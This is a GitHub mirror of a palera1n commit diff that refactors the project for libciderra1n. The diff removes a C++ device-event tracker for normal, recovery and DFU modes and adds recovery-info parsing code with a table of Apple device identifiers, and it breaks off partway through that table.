mirror of
https://github.com/palera1n/palera1n.git
synced 2026-10-23 18:49:48 +02:00
refactor: libciderra1n support (#764)
* refactor refactor: remove wdi refactor: move openra1n to its own library refactor: move everything standalone file to src root * submodule * okay these shouldnt of been included * remove * readd * fix openra1n libusb * liteusb for ra1ncovery * fix action * token * whatever lwra bw apwxidix * I knew this was gonna happen * fix mac build * what if this doesnt work * okay bro * lzma resources * rename * use idevice++, fix multiple devices, enter recovery * whatever * fix * --force-enable-ssv * improve exploit stuff, mirror tui logic to gui also cooool logging for libopenra1n * fix idevice windows build * lets not be fancy * new idevice patch * easier to read * lets hope this action works! * remove useless ifs * not required for non tui * PLEASE COMPILE * gsed lmao * this might work idk * whatever bro * ah * amd fix * fix ts * fix * licensing * update paleinfo * LETS NOT do that * forgot a file
This commit is contained in:
128 files changed
+12054
-3114
No files matched your search
-362
@@ -1,362 +0,0 @@
|
||||
#if defined(WITH_GUI) || defined(WITH_TUI)
|
||||
|
||||
#include "event.hpp"
|
||||
#include "sequence.hpp"
|
||||
#include "utils.h"
|
||||
|
||||
#include <chrono>
|
||||
#include <mutex>
|
||||
#include <thread>
|
||||
#include <unordered_map>
|
||||
#include <vector>
|
||||
|
||||
#include <libimobiledevice/libimobiledevice.h>
|
||||
#include <libimobiledevice/lockdown.h>
|
||||
#include <libirecovery.h>
|
||||
|
||||
namespace {
|
||||
|
||||
struct ManagedDevice {
|
||||
DeviceState state;
|
||||
bool normalPresent = false;
|
||||
bool recoveryPresent = false;
|
||||
};
|
||||
|
||||
std::mutex g_mutex;
|
||||
std::vector<DeviceStateCallback> g_callbacks;
|
||||
std::unordered_map<uint64_t, ManagedDevice> g_devices; // keyed by ECID
|
||||
std::unordered_map<std::string, uint64_t> g_udidToEcid;
|
||||
uint64_t g_activeEcid = 0;
|
||||
std::once_flag g_startOnce;
|
||||
irecv_device_event_context_t g_recoveryCtx = nullptr;
|
||||
|
||||
void dispatch_callbacks(const std::vector<DeviceStateCallback>& callbacks, const DeviceState& state) {
|
||||
for (const auto& cb : callbacks) {
|
||||
if (cb)
|
||||
cb(state);
|
||||
}
|
||||
}
|
||||
|
||||
DeviceState build_public_state_locked() {
|
||||
DeviceState out;
|
||||
out.connectedDeviceCount = static_cast<uint32_t>(g_devices.size());
|
||||
out.multipleDevices = out.connectedDeviceCount > 1;
|
||||
|
||||
if (g_devices.size() != 1) {
|
||||
g_activeEcid = 0;
|
||||
return out;
|
||||
}
|
||||
|
||||
auto it = g_devices.begin();
|
||||
if (g_activeEcid != 0) {
|
||||
auto activeIt = g_devices.find(g_activeEcid);
|
||||
if (activeIt != g_devices.end())
|
||||
it = activeIt;
|
||||
}
|
||||
|
||||
g_activeEcid = it->first;
|
||||
out = it->second.state;
|
||||
out.connected = true;
|
||||
out.connectedDeviceCount = 1;
|
||||
out.multipleDevices = false;
|
||||
return out;
|
||||
}
|
||||
|
||||
void publish_state() {
|
||||
std::vector<DeviceStateCallback> callbacks;
|
||||
DeviceState state;
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(g_mutex);
|
||||
callbacks = g_callbacks;
|
||||
state = build_public_state_locked();
|
||||
}
|
||||
dispatch_callbacks(callbacks, state);
|
||||
}
|
||||
|
||||
bool lockdown_get_string(lockdownd_client_t client, const char* key, std::string& out) {
|
||||
plist_t value = nullptr;
|
||||
if (lockdownd_get_value(client, nullptr, key, &value) != LOCKDOWN_E_SUCCESS || !value)
|
||||
return false;
|
||||
|
||||
char* raw = nullptr;
|
||||
plist_get_string_val(value, &raw);
|
||||
if (raw) {
|
||||
out = raw;
|
||||
free(raw);
|
||||
}
|
||||
|
||||
plist_free(value);
|
||||
return !out.empty();
|
||||
}
|
||||
|
||||
bool lockdown_get_uint(lockdownd_client_t client, const char* key, uint64_t& out) {
|
||||
plist_t value = nullptr;
|
||||
if (lockdownd_get_value(client, nullptr, key, &value) != LOCKDOWN_E_SUCCESS || !value)
|
||||
return false;
|
||||
|
||||
plist_get_uint_val(value, &out);
|
||||
plist_free(value);
|
||||
return out != 0;
|
||||
}
|
||||
|
||||
bool build_normal_state(const idevice_event_t* event, DeviceState& out, std::string& connectionType) {
|
||||
idevice_t device = nullptr;
|
||||
if (!event || idevice_new(&device, event->udid) != IDEVICE_E_SUCCESS || !device)
|
||||
return false;
|
||||
|
||||
lockdownd_client_t client = nullptr;
|
||||
if (lockdownd_client_new_with_handshake(device, &client, "palera1n") != LOCKDOWN_E_SUCCESS) {
|
||||
idevice_free(device);
|
||||
return false;
|
||||
}
|
||||
|
||||
out.connected = true;
|
||||
out.mode = DeviceMode::Normal;
|
||||
out.udid = event->udid ? event->udid : "";
|
||||
|
||||
lockdown_get_string(client, "ProductType", out.productType);
|
||||
lockdown_get_string(client, "ProductVersion", out.productVersion);
|
||||
lockdown_get_string(client, "ConnectionType", connectionType);
|
||||
lockdown_get_uint(client, "UniqueChipID", out.ecid);
|
||||
|
||||
out.isSupported = SequenceIsSupported(out.productType);
|
||||
|
||||
lockdownd_client_free(client);
|
||||
idevice_free(device);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool build_recovery_state(const irecv_device_event_t* event, DeviceState& out) {
|
||||
if (!event || !event->device_info || !event->device_info->ecid)
|
||||
return false;
|
||||
|
||||
out.connected = true;
|
||||
out.ecid = event->device_info->ecid;
|
||||
out.mode = (event->mode == IRECV_K_DFU_MODE) ? DeviceMode::DFU : DeviceMode::Recovery;
|
||||
|
||||
irecv_client_t client = nullptr;
|
||||
int attempts = 0;
|
||||
const int maxAttempts = 10;
|
||||
while (attempts < maxAttempts) {
|
||||
if (irecv_open_with_ecid(&client, out.ecid) == IRECV_E_SUCCESS)
|
||||
break;
|
||||
++attempts;
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds(300));
|
||||
}
|
||||
|
||||
if (client) {
|
||||
irecv_device_t device = nullptr;
|
||||
if (irecv_devices_get_device_by_client(client, &device) == IRECV_E_SUCCESS && device) {
|
||||
out.productType = device->product_type ? device->product_type : "";
|
||||
out.displayName = device->display_name ? device->display_name : "";
|
||||
}
|
||||
irecv_close(client);
|
||||
} else {
|
||||
LOG_VERBOSE("Failed to open irecv client after retries for ECID=%llu", static_cast<unsigned long long>(out.ecid));
|
||||
}
|
||||
|
||||
out.isSupported = SequenceIsSupported(out.productType);
|
||||
return true;
|
||||
}
|
||||
|
||||
void handle_normal_add(const idevice_event_t* event) {
|
||||
if (!event)
|
||||
return;
|
||||
|
||||
if (event->conn_type != CONNECTION_USBMUXD) {
|
||||
LOG_VERBOSE("Ignoring non-USB normal mode device event");
|
||||
return;
|
||||
}
|
||||
|
||||
DeviceState discovered;
|
||||
std::string connectionType;
|
||||
if (!build_normal_state(event, discovered, connectionType))
|
||||
return;
|
||||
|
||||
if (!connectionType.empty() && connectionType != "USB") {
|
||||
LOG_VERBOSE("Ignoring over-the-air normal mode device (ConnectionType=%s)", connectionType.c_str());
|
||||
return;
|
||||
}
|
||||
|
||||
if (discovered.ecid == 0) {
|
||||
LOG_VERBOSE("Ignoring normal mode device without ECID");
|
||||
return;
|
||||
}
|
||||
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(g_mutex);
|
||||
ManagedDevice& m = g_devices[discovered.ecid];
|
||||
m.state = discovered;
|
||||
m.normalPresent = true;
|
||||
m.recoveryPresent = false;
|
||||
|
||||
if (!discovered.udid.empty())
|
||||
g_udidToEcid[discovered.udid] = discovered.ecid;
|
||||
}
|
||||
|
||||
publish_state();
|
||||
}
|
||||
|
||||
void handle_normal_remove(const idevice_event_t* event) {
|
||||
if (!event || !event->udid)
|
||||
return;
|
||||
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(g_mutex);
|
||||
auto mapIt = g_udidToEcid.find(event->udid);
|
||||
if (mapIt == g_udidToEcid.end())
|
||||
return;
|
||||
|
||||
const uint64_t ecid = mapIt->second;
|
||||
g_udidToEcid.erase(mapIt);
|
||||
|
||||
auto devIt = g_devices.find(ecid);
|
||||
if (devIt == g_devices.end())
|
||||
return;
|
||||
|
||||
devIt->second.normalPresent = false;
|
||||
if (!devIt->second.normalPresent && !devIt->second.recoveryPresent)
|
||||
g_devices.erase(devIt);
|
||||
}
|
||||
|
||||
publish_state();
|
||||
}
|
||||
|
||||
void handle_recovery_add(const irecv_device_event_t* event) {
|
||||
DeviceState discovered;
|
||||
if (!build_recovery_state(event, discovered))
|
||||
return;
|
||||
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(g_mutex);
|
||||
ManagedDevice& m = g_devices[discovered.ecid];
|
||||
m.state = discovered;
|
||||
m.recoveryPresent = true;
|
||||
m.normalPresent = false;
|
||||
}
|
||||
|
||||
publish_state();
|
||||
}
|
||||
|
||||
void handle_recovery_remove(const irecv_device_event_t* event) {
|
||||
bool changed = false;
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(g_mutex);
|
||||
|
||||
uint64_t ecid = 0;
|
||||
if (event && event->device_info)
|
||||
ecid = event->device_info->ecid;
|
||||
|
||||
if (ecid == 0) {
|
||||
for (const auto& [key, value] : g_devices) {
|
||||
if (!value.recoveryPresent)
|
||||
continue;
|
||||
if (ecid != 0) {
|
||||
ecid = 0;
|
||||
break;
|
||||
}
|
||||
ecid = key;
|
||||
}
|
||||
}
|
||||
|
||||
if (ecid == 0)
|
||||
return;
|
||||
|
||||
auto devIt = g_devices.find(ecid);
|
||||
if (devIt == g_devices.end())
|
||||
return;
|
||||
|
||||
devIt->second.recoveryPresent = false;
|
||||
if (!devIt->second.normalPresent && !devIt->second.recoveryPresent)
|
||||
g_devices.erase(devIt);
|
||||
|
||||
for (auto it = g_udidToEcid.begin(); it != g_udidToEcid.end();) {
|
||||
if (it->second == ecid && g_devices.find(ecid) == g_devices.end())
|
||||
it = g_udidToEcid.erase(it);
|
||||
else
|
||||
++it;
|
||||
}
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
if (changed)
|
||||
publish_state();
|
||||
}
|
||||
|
||||
bool is_supported_recovery_mode(irecv_mode mode) {
|
||||
return mode == IRECV_K_DFU_MODE ||
|
||||
mode == IRECV_K_RECOVERY_MODE_1 ||
|
||||
mode == IRECV_K_RECOVERY_MODE_2 ||
|
||||
mode == IRECV_K_RECOVERY_MODE_3 ||
|
||||
mode == IRECV_K_RECOVERY_MODE_4;
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
void register_device_state_callback(DeviceStateCallback cb) {
|
||||
if (!cb)
|
||||
return;
|
||||
|
||||
DeviceState snapshot;
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(g_mutex);
|
||||
g_callbacks.push_back(cb);
|
||||
snapshot = build_public_state_locked();
|
||||
}
|
||||
|
||||
cb(snapshot);
|
||||
}
|
||||
|
||||
void ensure_device_event_system_started() {
|
||||
std::call_once(g_startOnce, []() {
|
||||
if (idevice_event_subscribe(normal_device_event_cb, nullptr) != IDEVICE_E_SUCCESS)
|
||||
LOG_ERROR("Failed to subscribe to normal mode device events");
|
||||
|
||||
if (irecv_device_event_subscribe(&g_recoveryCtx, recovery_device_event_cb, nullptr) != IRECV_E_SUCCESS)
|
||||
LOG_ERROR("Failed to subscribe to recovery/DFU device events");
|
||||
|
||||
char** udids = nullptr;
|
||||
int count = 0;
|
||||
if (idevice_get_device_list(&udids, &count) == IDEVICE_E_SUCCESS && udids) {
|
||||
for (int i = 0; i < count; ++i) {
|
||||
idevice_event_t synthetic_event;
|
||||
synthetic_event.event = IDEVICE_DEVICE_ADD;
|
||||
synthetic_event.udid = udids[i];
|
||||
synthetic_event.conn_type = CONNECTION_USBMUXD;
|
||||
handle_normal_add(&synthetic_event);
|
||||
}
|
||||
idevice_device_list_free(udids);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
void normal_device_event_cb(const idevice_event_t* event, void* user_data) {
|
||||
(void)user_data;
|
||||
if (!event)
|
||||
return;
|
||||
|
||||
if (event->event == IDEVICE_DEVICE_ADD) {
|
||||
handle_normal_add(event);
|
||||
return;
|
||||
}
|
||||
|
||||
if (event->event == IDEVICE_DEVICE_REMOVE)
|
||||
handle_normal_remove(event);
|
||||
}
|
||||
|
||||
void recovery_device_event_cb(const irecv_device_event_t* event, void* user_data) {
|
||||
(void)user_data;
|
||||
if (!event)
|
||||
return;
|
||||
|
||||
if (event->type == IRECV_DEVICE_ADD && is_supported_recovery_mode(event->mode)) {
|
||||
handle_recovery_add(event);
|
||||
return;
|
||||
}
|
||||
|
||||
if (event->type == IRECV_DEVICE_REMOVE)
|
||||
handle_recovery_remove(event);
|
||||
}
|
||||
|
||||
#endif // WITH_GUI || WITH_TUI
|
||||
@@ -1,49 +0,0 @@
|
||||
#if defined(WITH_GUI) || defined(WITH_TUI)
|
||||
|
||||
#ifndef EVENT_H
|
||||
#define EVENT_H
|
||||
|
||||
#include <cstdint>
|
||||
#include <functional>
|
||||
#include <string>
|
||||
|
||||
#ifdef WITH_GUI
|
||||
# include <wx/wx.h>
|
||||
#endif
|
||||
|
||||
#include <libimobiledevice/libimobiledevice.h>
|
||||
#include <libimobiledevice/lockdown.h>
|
||||
#include <libirecovery.h>
|
||||
|
||||
enum class DeviceMode
|
||||
{
|
||||
None,
|
||||
Normal,
|
||||
Recovery,
|
||||
DFU
|
||||
};
|
||||
|
||||
struct DeviceState
|
||||
{
|
||||
bool connected = false;
|
||||
bool isSupported = false;
|
||||
bool multipleDevices = false;
|
||||
DeviceMode mode = DeviceMode::None;
|
||||
std::string productVersion;
|
||||
std::string productType;
|
||||
std::string displayName;
|
||||
std::string udid;
|
||||
uint64_t ecid = 0;
|
||||
uint32_t connectedDeviceCount = 0;
|
||||
};
|
||||
|
||||
using DeviceStateCallback = std::function<void(const DeviceState&)>;
|
||||
void register_device_state_callback(DeviceStateCallback cb);
|
||||
void ensure_device_event_system_started();
|
||||
|
||||
void normal_device_event_cb(const idevice_event_t* event, void* user_data);
|
||||
void recovery_device_event_cb(const irecv_device_event_t* event, void* user_data);
|
||||
|
||||
#endif // EVENT_H
|
||||
|
||||
#endif // WITH_GUI || WITH_TUI
|
||||
@@ -0,0 +1,87 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#if defined(WITH_GUI) || defined(WITH_TUI)
|
||||
|
||||
#include "device_info.hpp"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <cstdio>
|
||||
#include <cstdint>
|
||||
#include <cstdlib>
|
||||
#include <cstring>
|
||||
|
||||
static uint64_t get_hex_field(const char *serial, const char *field) {
|
||||
char *p = strstr((char *)serial, field);
|
||||
return p ? strtoull(p + strlen(field), nullptr, 16) : 0;
|
||||
}
|
||||
|
||||
void get_recovery_info(char *sn, const char **ecid, const char **product_model, const char **product_name)
|
||||
{
|
||||
static char cpid_buf[16];
|
||||
static char ecid_buf[32];
|
||||
static char bdid_buf[16];
|
||||
|
||||
uint16_t cpid_val = (uint16_t)get_hex_field(sn, "CPID:");
|
||||
uint32_t bdid_val = (uint32_t)get_hex_field(sn, "BDID:");
|
||||
uint64_t ecid_val = get_hex_field(sn, "ECID:");
|
||||
|
||||
snprintf(cpid_buf, sizeof(cpid_buf), "%04X", cpid_val);
|
||||
snprintf(bdid_buf, sizeof(bdid_buf), "%08X", bdid_val);
|
||||
snprintf(ecid_buf, sizeof(ecid_buf), "%016llX", (unsigned long long)ecid_val);
|
||||
|
||||
*ecid = ecid_buf;
|
||||
|
||||
*product_model = nullptr;
|
||||
*product_name = nullptr;
|
||||
|
||||
for (int i = 0; irecv_devices[i].product_type; i++) {
|
||||
if (irecv_devices[i].cpid == cpid_val &&
|
||||
irecv_devices[i].bdid == bdid_val) {
|
||||
*product_model = irecv_devices[i].product_type;
|
||||
*product_name = irecv_devices[i].name;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void get_name_from_product_type(const char *product_type, const char **name) {
|
||||
*name = nullptr;
|
||||
for (int i = 0; irecv_devices[i].product_type; i++) {
|
||||
if (strcmp(irecv_devices[i].product_type, product_type) == 0) {
|
||||
*name = irecv_devices[i].name;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#endif // WITH_GUI || WITH_TUI
|
||||
@@ -0,0 +1,382 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#if defined(WITH_GUI) || defined(WITH_TUI)
|
||||
|
||||
#ifndef MAIN__DEVICE_INFO_H
|
||||
#define MAIN__DEVICE_INFO_H
|
||||
|
||||
struct irecv_device {
|
||||
const char *product_type;
|
||||
const char *board;
|
||||
int bdid;
|
||||
int cpid;
|
||||
const char *name;
|
||||
};
|
||||
|
||||
static struct irecv_device irecv_devices[] = {
|
||||
/* iPhone */
|
||||
{ "iPhone1,1", "m68ap", 0x00, 0x8900, "iPhone 2G" },
|
||||
{ "iPhone1,2", "n82ap", 0x04, 0x8900, "iPhone 3G" },
|
||||
{ "iPhone2,1", "n88ap", 0x00, 0x8920, "iPhone 3Gs" },
|
||||
{ "iPhone3,1", "n90ap", 0x00, 0x8930, "iPhone 4 (GSM)" },
|
||||
{ "iPhone3,2", "n90bap", 0x04, 0x8930, "iPhone 4 (GSM) R2 2012" },
|
||||
{ "iPhone3,3", "n92ap", 0x06, 0x8930, "iPhone 4 (CDMA)" },
|
||||
{ "iPhone4,1", "n94ap", 0x08, 0x8940, "iPhone 4s" },
|
||||
{ "iPhone5,1", "n41ap", 0x00, 0x8950, "iPhone 5 (GSM)" },
|
||||
{ "iPhone5,2", "n42ap", 0x02, 0x8950, "iPhone 5 (Global)" },
|
||||
{ "iPhone5,3", "n48ap", 0x0a, 0x8950, "iPhone 5c (GSM)" },
|
||||
{ "iPhone5,4", "n49ap", 0x0e, 0x8950, "iPhone 5c (Global)" },
|
||||
{ "iPhone6,1", "n51ap", 0x00, 0x8960, "iPhone 5s (GSM)" },
|
||||
{ "iPhone6,2", "n53ap", 0x02, 0x8960, "iPhone 5s (Global)" },
|
||||
{ "iPhone7,1", "n56ap", 0x04, 0x7000, "iPhone 6 Plus" },
|
||||
{ "iPhone7,2", "n61ap", 0x06, 0x7000, "iPhone 6" },
|
||||
{ "iPhone8,1", "n71ap", 0x04, 0x8000, "iPhone 6s" },
|
||||
{ "iPhone8,1", "n71map", 0x04, 0x8003, "iPhone 6s" },
|
||||
{ "iPhone8,2", "n66ap", 0x06, 0x8000, "iPhone 6s Plus" },
|
||||
{ "iPhone8,2", "n66map", 0x06, 0x8003, "iPhone 6s Plus" },
|
||||
{ "iPhone8,4", "n69ap", 0x02, 0x8003, "iPhone SE (1st gen)" },
|
||||
{ "iPhone8,4", "n69uap", 0x02, 0x8000, "iPhone SE (1st gen)" },
|
||||
{ "iPhone9,1", "d10ap", 0x08, 0x8010, "iPhone 7 (Global)" },
|
||||
{ "iPhone9,2", "d11ap", 0x0a, 0x8010, "iPhone 7 Plus (Global)" },
|
||||
{ "iPhone9,3", "d101ap", 0x0c, 0x8010, "iPhone 7 (GSM)" },
|
||||
{ "iPhone9,4", "d111ap", 0x0e, 0x8010, "iPhone 7 Plus (GSM)" },
|
||||
{ "iPhone10,1", "d20ap", 0x02, 0x8015, "iPhone 8 (Global)" },
|
||||
{ "iPhone10,2", "d21ap", 0x04, 0x8015, "iPhone 8 Plus (Global)" },
|
||||
{ "iPhone10,3", "d22ap", 0x06, 0x8015, "iPhone X (Global)" },
|
||||
{ "iPhone10,4", "d201ap", 0x0a, 0x8015, "iPhone 8 (GSM)" },
|
||||
{ "iPhone10,5", "d211ap", 0x0c, 0x8015, "iPhone 8 Plus (GSM)" },
|
||||
{ "iPhone10,6", "d221ap", 0x0e, 0x8015, "iPhone X (GSM)" },
|
||||
{ "iPhone11,2", "d321ap", 0x0e, 0x8020, "iPhone XS" },
|
||||
{ "iPhone11,4", "d331ap", 0x0a, 0x8020, "iPhone XS Max (China)" },
|
||||
{ "iPhone11,6", "d331pap", 0x1a, 0x8020, "iPhone XS Max" },
|
||||
{ "iPhone11,8", "n841ap", 0x0c, 0x8020, "iPhone XR" },
|
||||
{ "iPhone12,1", "n104ap", 0x04, 0x8030, "iPhone 11" },
|
||||
{ "iPhone12,3", "d421ap", 0x06, 0x8030, "iPhone 11 Pro" },
|
||||
{ "iPhone12,5", "d431ap", 0x02, 0x8030, "iPhone 11 Pro Max" },
|
||||
{ "iPhone12,8", "d79ap", 0x10, 0x8030, "iPhone SE (2nd gen)" },
|
||||
{ "iPhone13,1", "d52gap", 0x0A, 0x8101, "iPhone 12 mini" },
|
||||
{ "iPhone13,2", "d53gap", 0x0C, 0x8101, "iPhone 12" },
|
||||
{ "iPhone13,3", "d53pap", 0x0E, 0x8101, "iPhone 12 Pro" },
|
||||
{ "iPhone13,4", "d54pap", 0x08, 0x8101, "iPhone 12 Pro Max" },
|
||||
{ "iPhone14,2", "d63ap", 0x0C, 0x8110, "iPhone 13 Pro" },
|
||||
{ "iPhone14,3", "d64ap", 0x0E, 0x8110, "iPhone 13 Pro Max" },
|
||||
{ "iPhone14,4", "d16ap", 0x08, 0x8110, "iPhone 13 mini" },
|
||||
{ "iPhone14,5", "d17ap", 0x0A, 0x8110, "iPhone 13" },
|
||||
{ "iPhone14,6", "d49ap", 0x10, 0x8110, "iPhone SE (3rd gen)" },
|
||||
{ "iPhone14,7", "d27ap", 0x18, 0x8110, "iPhone 14" },
|
||||
{ "iPhone14,8", "d28ap", 0x1A, 0x8110, "iPhone 14 Plus" },
|
||||
{ "iPhone15,2", "d73ap", 0x0C, 0x8120, "iPhone 14 Pro" },
|
||||
{ "iPhone15,3", "d74ap", 0x0E, 0x8120, "iPhone 14 Pro Max" },
|
||||
{ "iPhone15,4", "d37ap", 0x08, 0x8120, "iPhone 15" },
|
||||
{ "iPhone15,5", "d38ap", 0x0A, 0x8120, "iPhone 15 Plus" },
|
||||
{ "iPhone16,1", "d83ap", 0x04, 0x8130, "iPhone 15 Pro" },
|
||||
{ "iPhone16,2", "d84ap", 0x06, 0x8130, "iPhone 15 Pro Max" },
|
||||
{ "iPhone17,1", "d93ap", 0x0C, 0x8140, "iPhone 16 Pro" },
|
||||
{ "iPhone17,2", "d94ap", 0x0E, 0x8140, "iPhone 16 Pro Max" },
|
||||
{ "iPhone17,3", "d47ap", 0x08, 0x8140, "iPhone 16" },
|
||||
{ "iPhone17,4", "d48ap", 0x0A, 0x8140, "iPhone 16 Plus" },
|
||||
{ "iPhone17,5", "v59ap", 0x04, 0x8140, "iPhone 16e" },
|
||||
{ "iPhone18,1", "v53ap", 0x0C, 0x8150, "iPhone 17 Pro" },
|
||||
{ "iPhone18,2", "v54ap", 0x0E, 0x8150, "iPhone 17 Pro Max" },
|
||||
{ "iPhone18,3", "v57ap", 0x08, 0x8150, "iPhone 17" },
|
||||
{ "iPhone18,4", "d23ap", 0x0A, 0x8150, "iPhone Air" },
|
||||
{ "iPhone18,5", "v159ap", 0x16, 0x8150, "iPhone 17e" },
|
||||
/* iPod */
|
||||
{ "iPod1,1", "n45ap", 0x02, 0x8900, "iPod Touch (1st gen)" },
|
||||
{ "iPod2,1", "n72ap", 0x00, 0x8720, "iPod Touch (2nd gen)" },
|
||||
{ "iPod3,1", "n18ap", 0x02, 0x8922, "iPod Touch (3rd gen)" },
|
||||
{ "iPod4,1", "n81ap", 0x08, 0x8930, "iPod Touch (4th gen)" },
|
||||
{ "iPod5,1", "n78ap", 0x00, 0x8942, "iPod Touch (5th gen)" },
|
||||
{ "iPod7,1", "n102ap", 0x10, 0x7000, "iPod Touch (6th gen)" },
|
||||
{ "iPod9,1", "n112ap", 0x16, 0x8010, "iPod Touch (7th gen)" },
|
||||
/* iPad */
|
||||
{ "iPad1,1", "k48ap", 0x02, 0x8930, "iPad" },
|
||||
{ "iPad2,1", "k93ap", 0x04, 0x8940, "iPad 2 (WiFi)" },
|
||||
{ "iPad2,2", "k94ap", 0x06, 0x8940, "iPad 2 (GSM)" },
|
||||
{ "iPad2,3", "k95ap", 0x02, 0x8940, "iPad 2 (CDMA)" },
|
||||
{ "iPad2,4", "k93aap", 0x06, 0x8942, "iPad 2 (WiFi) R2 2012" },
|
||||
{ "iPad2,5", "p105ap", 0x0a, 0x8942, "iPad mini (WiFi)" },
|
||||
{ "iPad2,6", "p106ap", 0x0c, 0x8942, "iPad mini (GSM)" },
|
||||
{ "iPad2,7", "p107ap", 0x0e, 0x8942, "iPad mini (Global)" },
|
||||
{ "iPad3,1", "j1ap", 0x00, 0x8945, "iPad (3rd gen, WiFi)" },
|
||||
{ "iPad3,2", "j2ap", 0x02, 0x8945, "iPad (3rd gen, CDMA)" },
|
||||
{ "iPad3,3", "j2aap", 0x04, 0x8945, "iPad (3rd gen, GSM)" },
|
||||
{ "iPad3,4", "p101ap", 0x00, 0x8955, "iPad (4th gen, WiFi)" },
|
||||
{ "iPad3,5", "p102ap", 0x02, 0x8955, "iPad (4th gen, GSM)" },
|
||||
{ "iPad3,6", "p103ap", 0x04, 0x8955, "iPad (4th gen, Global)" },
|
||||
{ "iPad4,1", "j71ap", 0x10, 0x8960, "iPad Air (WiFi)" },
|
||||
{ "iPad4,2", "j72ap", 0x12, 0x8960, "iPad Air (Cellular)" },
|
||||
{ "iPad4,3", "j73ap", 0x14, 0x8960, "iPad Air (China)" },
|
||||
{ "iPad4,4", "j85ap", 0x0a, 0x8960, "iPad mini 2 (WiFi)" },
|
||||
{ "iPad4,5", "j86ap", 0x0c, 0x8960, "iPad mini 2 (Cellular)" },
|
||||
{ "iPad4,6", "j87ap", 0x0e, 0x8960, "iPad mini 2 (China)" },
|
||||
{ "iPad4,7", "j85map", 0x32, 0x8960, "iPad mini 3 (WiFi)" },
|
||||
{ "iPad4,8", "j86map", 0x34, 0x8960, "iPad mini 3 (Cellular)" },
|
||||
{ "iPad4,9", "j87map", 0x36, 0x8960, "iPad mini 3 (China)" },
|
||||
{ "iPad5,1", "j96ap", 0x08, 0x7000, "iPad mini 4 (WiFi)" },
|
||||
{ "iPad5,2", "j97ap", 0x0A, 0x7000, "iPad mini 4 (Cellular)" },
|
||||
{ "iPad5,3", "j81ap", 0x06, 0x7001, "iPad Air 2 (WiFi)" },
|
||||
{ "iPad5,4", "j82ap", 0x02, 0x7001, "iPad Air 2 (Cellular)" },
|
||||
{ "iPad6,3", "j127ap", 0x08, 0x8001, "iPad Pro 9.7-inch (WiFi)" },
|
||||
{ "iPad6,4", "j128ap", 0x0a, 0x8001, "iPad Pro 9.7-inch (Cellular)" },
|
||||
{ "iPad6,7", "j98aap", 0x10, 0x8001, "iPad Pro 12.9-inch (1st gen, WiFi)" },
|
||||
{ "iPad6,8", "j99aap", 0x12, 0x8001, "iPad Pro 12.9-inch (1st gen, Cellular)" },
|
||||
{ "iPad6,11", "j71sap", 0x10, 0x8000, "iPad (5th gen, WiFi)" },
|
||||
{ "iPad6,11", "j71tap", 0x10, 0x8003, "iPad (5th gen, WiFi)" },
|
||||
{ "iPad6,12", "j72sap", 0x12, 0x8000, "iPad (5th gen, Cellular)" },
|
||||
